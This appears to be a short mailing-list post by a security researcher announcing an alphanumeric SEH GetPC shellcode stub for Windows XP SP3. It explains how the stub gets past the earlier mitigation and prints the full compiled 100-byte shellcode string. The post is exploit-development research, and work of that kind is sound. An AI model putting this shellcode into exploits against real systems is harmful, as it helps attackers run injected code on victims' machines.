Hi all, I have released an updated version of my alphanumeric ASCII SEH GetPC code which works on Windows XP up to and including sp3: http://skypher.com/wiki/index.php/Hacking/Shellcode/Alphanumeric/ALPHA3/x86/ASCII/Mixedcase/SEH_GetPC_(XP_sp3) It bypasses the mitigations that stopped my previous SEH GetPC by generating the SEH handler on the heap rather than the stack. NB. It still requires that the process is running with hardware DEP disabled or that you find a way to make the heap memory executable.
This is the compiled code (100 bytes): V34djPXP4Hd30V3v034dYV34014dZX4vP4v4PHPfh11DX5PRRRV34dNj334d3D241D24XXfX3D28f1D28jAXLX3Dqh3Tpl1Tpl96 Quick intro to GetPC code: http://skypher.com/wiki/index.php/Hacking/Shellcode/GetPC Thanks, SkyLined Berend-Jan Wever <[email protected]> http://skypher.com/SkyLined
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